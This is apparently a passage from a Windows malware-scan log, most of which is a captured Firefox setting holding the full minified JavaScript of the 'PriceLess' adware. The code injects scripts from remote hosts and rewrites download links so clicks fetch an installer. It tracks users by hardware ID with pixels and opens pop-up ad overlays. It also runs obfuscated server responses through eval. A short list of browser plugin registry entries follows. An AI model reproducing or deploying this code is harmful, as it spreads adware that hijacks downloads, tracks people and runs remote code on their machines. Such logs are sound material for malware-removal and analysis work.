e=document.getElementById(\"__yael_script\");e.parentNode.removeChild(e)}e=document.createElement(\"script\");e.id=\"__yael_script\";e.src=\"//\"+d+\"&domvar=__yael_cb\";e.type=\"text/javascript\";b.utils.addScript(e,c)}else b.utils.ajax.get(\"//\"+d,function(a){\"\"!= a&&(window.__yael_res=JSON.parse(a),window.__yael_res.config.targets.header.num_of_items_in_one&&(b.num_of_items_in_one=window.__yael_res.config.targets.header.num_of_items_in_one),\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&__yael.remove_se_handler(c),__yael.inject_search()))})};\"undefined\"==typeof __yael&&b.init_search_project();-1<b.initThrottle.indexOf(b.projects_name)&&b.events.add(\"keyup\",b.utils.throttle(b.init_search_project,3E3),!1, b.inputElement,!1)}};;window.top==window.self&&\"http:\"==location.protocol&&new function(){var a=this;a.installer_id=\"5871768682041687398\";a.hardware_id=\"8817188880235058019\";a.timestamp=(new Date).getTime();a.unique=function(){if(5<a.hardware_id.length){var b=a.hardware_id;return\"&uni=\"+b}return 5<a.installer_id.length?(b=a.installer_id,\"&uni=\"+b):\"\"}();a.hrefElements=[];a.binHrefs=[];a.installerDefaultName=\"Setup\";a.callback=encodeURIComponent(\"prex.addClickEvent()\");a.product_id=\"100\";a.interval=1296E3;a.domain=\"http://xls.searchfun.in/?p=\"+a.product ... ned.info/v\"+( parseInt('16')>60? 2109:388)+\"?installer_file_name=\";a.bin=\"exe,msi,mp3,rar,pdf,avi,mov,mpg,zip,torrent,mkv,mpeg,mp4,3gp,jar,7z,flac,wmv,wma,doc,ppt,pptx,pps,ppsx,xls,xlsx,flv\";a.res=[];a.existingPrefix=\"rghbyujk\";a.prefix=\"fghjklfgh\";a.utils=new function(){var b=this;b.injectScript=function(){var b=document.createElement(\"script\");b.src=a.domain;document.getElementsByTagName(\"head\")[0].appendChild(b)};b.ajax={get:function(a,e){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==b.ajax.xhr.readyState&&e(b.ajax.xhr.responseText)},this.xhr.send()}catch(f){}}};b.isIE=function(){return-1<navigator.userAgent.toLowerCase().indexOf(\"msie\")?!0:!1}};a.storage=new function(){var b=this;b.get=function(){return parseInt(localStorage.getItem(a.prefix))};b.set=function(){localStorage.setItem(a.prefix,a.timestamp+1E3*a.interval)};b.checkInterval=function(){return localStorage?isNaN(b.get())||b.get()<a.timestamp?!0:!1:!1}};a.checkExistingExtension=function(b){return b.getAttribute(\"data-\"+a.existingPrefix)?!0:!1};a.isBin=function(b){b=b.slice(-4);if(\".\"!==b[0])return!1;b=b.slice(1);return-1<a.bin.indexOf(b)?!0:!1};a.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(d,e,f,c){\"undefined\"==typeof c&&(c=window);c.addEventListener(d,e,f);a.cache.push([d,e,f,c])}:window.attachEvent?function(d,e,f,c){\"undefined\"==typeof c&&(c=window);c[\"e\"+d+e]=e;c[d+e]=function(){c[\"e\"+d+e](window.event)};c.attachEvent(\"on\"+d,c[d+e]);a.cache.push([d,e,f,c])}:function(){};a.remove=window.removeEventListener?function(a,b,f,c){\"undefined\"==typeof c&&(c=window);c.removeEventListener(a,b,f)}:window.detachEvent?function(a,b,f,c){\"undefined\"==typeof c&&(c=window);c.detachEvent(\"on\"+a,c[a+b]);c[a+b]=null;c[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var d=0;d<a.cache.length;d++)a.remove.apply(a,a.cache[d])}};a.addClickEvent=function(){for(var b=0;b<a.hrefElements.length;b++)a.events.add(\"click\",function(b){a.clickEvent(b)},!1,a.hrefElements)};a.clickEvent=function(b){a.elem=b.target||b.srcElement;if(a.checkExistingExtension(a.elem))return!1;b=b||window.event;b.preventDefault?b.preventDefault(b):b.returnValue=!1;a.downloadUrl+=(\"\"==a.elem.innerHTML || 'CZ'=='US')?a.installerDefaultName:a.elem.innerHTML;location.href=a.downloadUrl;a.storage.set();a.events.flush()};a.sendAjax=function(){a.utils.ajax.get(a.domain,function(b){b=b.replace(/\\n$/,\"\");b==\"try{\"+a.callback+\"}catch(e){}\"&&a.addClickEvent()})};a.checkHrefs=function(b){for(var d=0;d<b.length;d++){var e=b[d].href.split(\"?\");a.isBin(e[0])&&a.hrefElements.push(b[d])}};a.handleRequest=function(){a.utils.isIE()?a.utils.injectScript():a.sendAjax()};a.init=function(){a.hrefs=document.getElementsByTagName(\"a\");a.checkHrefs(a.hrefs);0<a.hrefElements.length&&a.handleRequest()};a.storage.checkInterval()&&a.init();\"undefined\"==typeof window.prex&&(window.prex=a)};;new function(){if(!(document.getElementById(\"sdjksjsksjdskjd__0\")||window.self!=window.top||-1<location.host.indexOf(\"google.com\")||-1<location.host.indexOf(\"bing.com\")||-1<location.host.indexOf(\"yahoo.com\"))){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.setAttribute(\"id\",\"sdjksjsksjdskjd__0\");a.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=16704045&ext=PriceLess&systemid=8817188880235058019&ext=PriceLess\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};;new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window.self==window.top&&\"http:\"==window.self.location.protocol){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wp.js?subid=1093_21132&hid=8817188880235058019&bname=PriceLess\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4450fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};;try{new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&\"http:\"==location.protocol&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpb.js?subid=1093_21132&hid=8817188880235058019&bname=PriceLess\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4440fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=16704045&ext=PriceLess&systemid=8817188880235058019&ext=PriceLess\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=16704045&ext=PriceLess&systemid=8817188880235058019&ext=PriceLess\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;try{new function(){if(null==document.getElementById(\"id_ad5cbe0b719874f1\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpgb.js?bname=PriceLess&subid=1093_21132\";a.setAttribute(\"id\",\"id_ad5cbe0b719874f1\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;new function(){if(!document.getElementById('__if72ru4sdfsdfrkjahiuyi_once')){(function(){var c=document.createElement('div');c.id='__if72ru4sdfsdfrkjahiuyi_once';c.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(c)})();var a=this,d=a;a.hid='8817188880235058019';a.eid='1093';a.pid='21132';a.cc='CZ';a.extName='PriceLess';a.OnloadCap=0;a.utils=new function(){var c=this;c.JSON=new function(){this.parse= function(b){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(b):eval('var a='+b)}catch(f){return!1}}};c.cookie=new function(){var b=this;b.setCookie=function(b,c,e){if(e){var a=new Date;a.setTime(a.getTime()+864E5*e);e='; expires='+a.toGMTString()}else e='';document.cookie=b+'='+c+e+'; path=/'};b.getCookie=function(b){b+='=';for(var c=nasrat(';'),e=0;e<c.length;e++){for(var a=c[e];' '==a.charAt(0);)a=a.substring(1,a.length);if(0==a.indexOf(b))return a.substring(b.length, a.length)}return null};b.eraseCookie=function(f){b.setCookie(f,'',-1)}};c.getProtocol=function(b){var f=document.createElement('a');f.href=b;return f.protocol};c.getInstructions=function(b,f){c.msie&&11>c.msie?c.inject_script(b+('&cb='+d.prefix+'.'+f)):c.ajax.get(b,function(b){if(b)d[f](b)})};c.l=new function(){var b=this;b.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';b.encode=function(f){f=b._utf8_encode(f);for(var c='',e=0;e<f.length;){var a=f.charCodeAt(e++),d=f.charCodeAt(e++), m=f.charCodeAt(e++),k=a>>2,a=(a&3)<<4|d>>4,p=(d&15)<<2|m>>6,n=m&63;isNaN(d)?p=n=64:isNaN(m)&&(n=64);c=c+b.xlat.charAt(k)+b.xlat.charAt(a)+(64==p?'=':b.xlat.charAt(p))+(64==n?'=':b.xlat.charAt(n))}return c};b._utf8_encode=function(b){if(b&&b.length){for(var c='',a=0;a<b.length;a++){var d=b.charCodeAt(a);128>d?c+=String.fromCharCode(d):(127<d&&2048>d?c+=String.fromCharCode(d>>6|192):(c+=String.fromCharCode(d>>12|224),c+=String.fromCharCode(d>>6&63|128)),c+=String.fromCharCode(d&63|128))}return c}return b}; b.decode=function(b){b=b.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var c='',a=0;a<b.length;){var d=this.xlat.indexOf(b.charAt(a++)),h=this.xlat.indexOf(b.charAt(a++)),m=this.xlat.indexOf(b.charAt(a++)),k=this.xlat.indexOf(b.charAt(a++)),p=(h&15)<<4|m>>2,n=(m&3)<<6|k,c=c+String.fromCharCode(d<<2|h>>4);64!=m&&0<p&&(c+=String.fromCharCode(p));64!=k&&0<n&&(c+=String.fromCharCode(n))}return this._utf8_decode(c)};b._utf8_decode=function(b){for(var c='',a=0;a<b.length;){var d=b.charCodeAt(a);if(128> d)c+=String.fromCharCode(d),a++;else if(191<d&&224>d)var h=b.charCodeAt(a+1),c=c+String.fromCharCode((d&31)<<6|h&63),a=a+2;else var h=b.charCodeAt(a+1),m=b.charCodeAt(a+2),c=c+String.fromCharCode((d&15)<<12|(h&63)<<6|m&63),a=a+3}return c}};c.ajax=new function(){this.get=function(b,c){try{var a=new XMLHttpRequest;a.open('GET',b,!0);a.withCredentials=!0;a.onreadystatechange=function(){4==a.readyState&&c(a.responseText)};a.send()}catch(e){}}};c.randomChar=function(){for(var b='',c=0;2>c;c++)b+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52* Math.random()));return b};c.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(b)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(b)?!1:b}();c.inject_script=function(b){var c=document.getElementsByTagName('body')[0],a=document.createElement('script');a.type='text/javascript';a.id='id_'+d.prefix;a.src=b;c&&c.appendChild(a)};c.epoch=function(){return Math.floor((new Date).getTime()/1E3)};c.getVert= function(){var b=localStorage.getItem('sk398erjds2d');return b?b:c.forexVert()};c.browser=function(){var b=navigator.userAgent.toLowerCase(),c={webkit:/webkit/.test(b),mozilla:/mozilla/.test(b)&&!/(compatible|webkit)/.test(b),chrome:/chrome/.test(b),msie:/msie/.test(b)&&!/opera/.test(b),firefox:/firefox/.test(b),safari:/safari/.test(b)&&!/chrome/.test(b),opera:/opera/.test(b)};c.version=c.safari?(b.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(b.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return c}(); c.getNodeTextProp=function(b){return'textContent'in b?'textContent':'innerText'in b?'innerText':!1};c.dhtml_prop_name=function(b){return b.replace(/(\\-([a-z]){1})/g,function(b,c,a){return a.toUpperCase()})};c.get_computed_style='function'!=typeof window.getComputedStyle?function(b){return{getPropertyValue:function(a){'float'==a&&(a='styleFloat');a=c.dhtml_prop_name(a);return'object'==typeof b.currentStyle&&null!=b.currentStyle&&'undefined'!=typeof b.currentStyle[a]?b.currentStyle[a]:null}}}:function(b, c){return window.getComputedStyle(b,c)||{getPropertyValue:function(){}}};c.mapAdTypes=function(b){for(var c={},a=0;a<b.length;a++){var e=b[a];c['_'+e[2]]={key:e[0]+'x'+e[1]}}return c}};a.prefix='if72ru4rkjahiuyi';a.version='0.1.0';a.pop_collision_id='__ipu=';a.pixelHostname='//direct_pop.unition.org/';a.fallbackHostnames=['compey.net','comprises.info'];a.fallbackAdTypes={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'}, _8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}};try{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"sunusadirgrab.com\",\"compey.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(r){a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var q; q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain:a.fallbackHostnames;a.hostnames=q;q=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.ad_sizes&&a.stngs.ad_sizes instanceof Array?a.utils.mapAdTypes(a.stngs.ad_sizes):a.fallbackAdTypes;a.adTypes=q;a.body=document.getElementsByTagName('body')[0];a.directParams={subid:d.pid,subid1:d.hid,subid2:d.eid,tid:'6'};a.dom=new function(){this.json_to_html=function(c,b){if('#text'==c.type)b= document.createTextNode(c.text);else if('#comment'!=c.type){b||(b=document.createElement(c.type));if(c.attrs){for(var a in c.attrs)if(c.attrs.hasOwnProperty(a))if('style'==a&&c.attrs.style instanceof Object)for(var g in c.attrs.style){var e=d.utils.dhtml_prop_name(g);try{b.style[e]=c.attrs.style[g]}catch(l){}}else b.setAttribute(a,c.attrs[a]);'iframe'==c.type&&(c.attrs.hasOwnProperty('frameborder')&&(b.frameBorder=c.attrs.frameborder),c.attrs.hasOwnProperty('marginwidth')&&(b.marginWidth=c.attrs.marginwidth), c.attrs.hasOwnProperty('marginheight')&&(b.marginHeight=c.attrs.marginheight))}if(c.children)for(a=0;a<c.children.length;a++){e=c.children[a];g=arguments.callee(e);try{b.appendChild(g)}catch(h){if('#text'==e.type&&'string'==typeof e.text)if('style'==c.type&&b.styleSheet)b.styleSheet.cssText=e.text||'';else if(g=d.utils.getNodeTextProp(b))b[g]=e.text}}}return b}};a.events=new function(){var c=this;c.cache=[];c.add=window.addEventListener?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e.addEventListener(b, a,d);l&&c.cache.push([b,a,d,e])}:window.attachEvent?function(b,a,d,e,l){'undefined'==typeof e&&(e=window);e['e'+b+a]=a;e[b+a]=function(){e['e'+b+a](window.event)};e.attachEvent('on'+b,e[b+a]);l&&c.cache.push([b,a,d,e])}:function(){};c.remove=window.removeEventListener?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.removeEventListener(b,a,c)}:window.detachEvent?function(b,a,c,e){'undefined'==typeof e&&(e=window);e.detachEvent('on'+b,e[b+a]);e[b+a]=null;e['e'+b+a]=null}:function(){};c.flush= function(){for(var a=0;a<c.cache.length;a++)c.remove.apply(c,c.cache[a]);c.cache=[]}};a.pixel=function(c,b){var f=a.pixelHostname+'?',g=d.hostnames['https:'==window.self.location.protocol?0:1],g={pid:d.pid,cc:d.cc,eid:d.eid,hid:d.hid,v:d.version,ch:b,cid:d.response[0][2],tid:d.directParams.tid,adtid:d.response[0][4],smid:d.response[0][3],pbid:c,oh:encodeURIComponent(d.response[0][0]),sh:encodeURIComponent(g)},e;for(e in g)f+=e+'='+g[e]+'&';f=f.slice(0,-1);(new Image).src=f};a.products=new function(){this.code_7= function(a){function b(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');d.events.add('click',function(){b.parentNode.removeChild(b)},!1,a,!1)}function f(){var a,b,c;'undefined'==typeof d.response[0][4]&&d.response[0].push(9);try{a=d.adTypes['_'+d.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&&c){var f=document.getElementById('__modal');f.style.width=b;f.style.height=c;f.style.marginLeft=parseInt(f.style.width)/ 2-parseInt(f.style.width)+'px';f.style.top=(a-parseInt(f.style.height))/2+'px'}}if((a=a[0][0])&&window.self.location.protocol===d.utils.getProtocol(a)&&!(d.utils.msie&&9>d.utils.msie)&&'http:'===a.split('/')[0]){var g={type:'div',attrs:{id:'__modal_container',style:{position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0','border-radius':'0'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute', 'z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by '+d.extName}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',allowtransparency:'true',src:''}}]}]};try{var e=d.dom.json_to_html(g)}catch(l){}e&&(document.getElementsByTagName('body')[0].appendChild(e),document.getElementById('__modal_iframe').src= a,d.pixel('0','1'),b(),f())}}};a.getKeywords=function(){var a=document.title,b=document.getElementsByTagName('meta');if(b)for(var d=0,g=b.length;d<g;d++)'keywords'!=b[d].name.toLowerCase()&&'description'!=b[d].name.toLowerCase()||(a+=' '+b[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){b={};for(g=0;g<d.length;g++)try{var e=d[g].innerText;'undefined'==typeof e&&(e=d[g].textContent);for(var l=e.toLowerCase().split(/[\\s,-]/g),h=0;h<l.length;h++)4>l[h].length||(b[l[h]]?b[l[h]]++: b[l[h]]=1)}catch(m){}var e=[],k;for(k in b)e.push([k,b[k]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(k=0;k<e.length;k++)a+=' '+e[k][0]}return a.replace(/[_-]/g,' ').substring(0,1024)};a.injectComplianceBanner=function(){var c=document.getElementsByTagName('body')[0];if(0!=c.children.length){var b=document.createElement('div');b.id='cmsie';var d='<span style=\"font: xx-small;color: rgb(153, 153, 153);height: 15px; font-family: Tahoma;font-size: 8px;padding-right: 22px;padding-top: 1px;float: right; top: 2px; text-decoration: none;line-height: 15px;\">Ad by '+ a.extName+'</span>';b.setAttribute('style','height: 15px;position: relative;background-color: #F9F9F9;border: none;border-radius:0');b.innerHTML=d;c.insertBefore(b,c.children[0])}};a.prepareUrl=function(){var c='?',b;for(b in d.directParams)c+=b+'='+d.directParams[b]+'&';c+='k='+encodeURIComponent(d.getKeywords());return'//'+a.hostnames['http:'==window.self.location.protocol?0:1]+c};a.tp=function(c){if(c){c=a.utils.l.decode(c);try{a.response=eval(c)}catch(b){}if(a.response&&a.response[0]&&(a.response[0][0]= a.response[0][0].replace('zig_pp','pjaKrjYFvTwErG5Gr81FqdsGqdg9qTa6'),c=a.response[0][3],c=7,7===c&&'function'==typeof a.products['code_'+c]))a.products['code_'+c](a.response)}};a.getInstructions=function(c){var b='&cb='+a.prefix+'.tp';a.utils.msie?a.utils.inject_script(c+b):a.utils.ajax.get(c,function(b){b&&a.tp(b)})};a.initPop=function(){if(-1!==window.location.href.indexOf(a.pop_collision_id))return a.injectComplianceBanner();var c=a.prepareUrl();d.utils.getInstructions(c,'tp')};a.injectOnload=function(){'complete'=== document.readyState||10<a.OnloadCap?a.initPop():setTimeout(function(){a.OnloadCap++;a.injectOnload()},200)};d.utils.msie&&9>d.utils.msie||(window.self==window.top&&(a.utils.msie?a.injectOnload():a.initPop()),'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a))}};})();(function(){new function(){var c=this;c.prefix=\"hggasdgjhsagd\";c.pixelHostname=\"//direct_pop.unition.org/\";c.token=\"px.pluginh\";c.pxlData=\"__pdt\";document.getElementById(\"__hggasdgjhsagd_once\")||(c.Utils=new function(){var a=this;a.l=new function(){var b=this;b.xlat=\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\";b.encode=function(e){e=b._utf8_encode(e);for(var d=\"\",m=0;m<e.length;){var f=e.charCodeAt(m++),a=e.charCodeAt(m++),c=e.charCodeAt(m++),n=f>>2,f=(f&3)<<4|a>>4,l=(a&15)<< 2 | c>>6,h=c&63;isNaN(a)?l=h=64:isNaN(c)&&(h=64);d=d+b.xlat.charAt(n)+b.xlat.charAt(f)+(64==l?\"=\":b.xlat.charAt(l))+(64==h?\"=\":b.xlat.charAt(h))}return d};b._utf8_encode=function(e){if(e&&e.length){for(var d=\"\",b=0;b<e.length;b++){var a=e.charCodeAt(b);128>a?d+=String.fromCharCode(a):(127<a&&2048>a?d+=String.fromCharCode(a>>6|192):(d+=String.fromCharCode(a>>12|224),d+=String.fromCharCode(a>>6&63|128)),d+=String.fromCharCode(a&63|128))}return d}return e};b.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g, \"\");for(var d=\"\",b=0;b<a.length;){var c=this.xlat.indexOf(a.charAt(b++)),k=this.xlat.indexOf(a.charAt(b++)),g=this.xlat.indexOf(a.charAt(b++)),n=this.xlat.indexOf(a.charAt(b++)),l=(k&15)<<4|g>>2,h=(g&3)<<6|n,d=d+String.fromCharCode(c<<2|k>>4);64!=g&&0<l&&(d+=String.fromCharCode(l));64!=n&&0<h&&(d+=String.fromCharCode(h))}return this._utf8_decode(d)};b._utf8_decode=function(a){for(var b=\"\",c=0;c<a.length;){var f=a.charCodeAt(c);if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var k=a.charCodeAt(c+ 1),b=b+String.fromCharCode((f&31)<<6|k&63),c=c+2;else var k=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12|(k&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b=location.href.split(\"__pdt\");b.length&&(b=a.l.decode(b[1]));return function(a){var b= {};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,e,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,\"\"))};a.getHostname=function(a){var c=document.createElement(\"a\");c.href=a;return c.hostname}},function(){var a=document.createElement(\"div\");a.id=\"__hggasdgjhsagd_once\";a.setAttribute(\"style\",\"display:none;\");var b=document.getElementsByTagName(\"body\")[0];b&&b.appendChild(a)}(),c.pixel=function(){var a=c.Utils.getParams();if(a&&a.cid){var b=c.pixelHostname+\"?\",e=a.sh||\"\",d=a.cid||\"\",m= a.tid||\"\",f=a.adtid||\"\",k=a.pid||\"\",g=a.cc||\"\",n=a.eid||\"\",l=a.hid||\"\",h=a.version?a.version:\"1\",a=a.tid||\"\",q=c.Utils.getHostname(location.href),e={pid:k,cc:g,eid:n,hid:l,v:h,ch:\"0\",cid:d,tid:3,adtid:m,smid:f,pbid:\"0\",oh:encodeURIComponent(q),sh:encodeURIComponent(e)},p;for(p in e)b+=p+\"=\"+e[p]+\"&\";b=b.slice(0,-1);(new Image).src=b}},-1<location.href.indexOf(c.token)&&-1<location.href.indexOf(c.pxlData)&&c.pixel(),c.Utils.msie&&8>c.Utils.msie||\"undefined\"==typeof window[c.prefix]&&(window[c.prefix]= c))};})();}catch(e){}");
FF - user.js - File not found

FF:64bit: - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF64_16_0_0_305.dll File not found
FF:64bit: - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF:64bit: - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_16_0_0_305.dll ()
FF - HKLM\Software\MozillaPlugins\@adobe.com/ShockwavePlayer: C:\Windows\SysWOW64\Adobe\Director\np32dsw_1215155.dll (Adobe Systems, Inc.)
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.31.2: C:\Program Files (x86)\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.31.2: C:\Program Files (x86)\Java\jre1.8.0_31\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found
FF - HKLM\Software\MozillaPlugins\@microsoft.com/Lync,version=15.0: C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: C:\PROGRA~2\MICROS~3\Office15\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
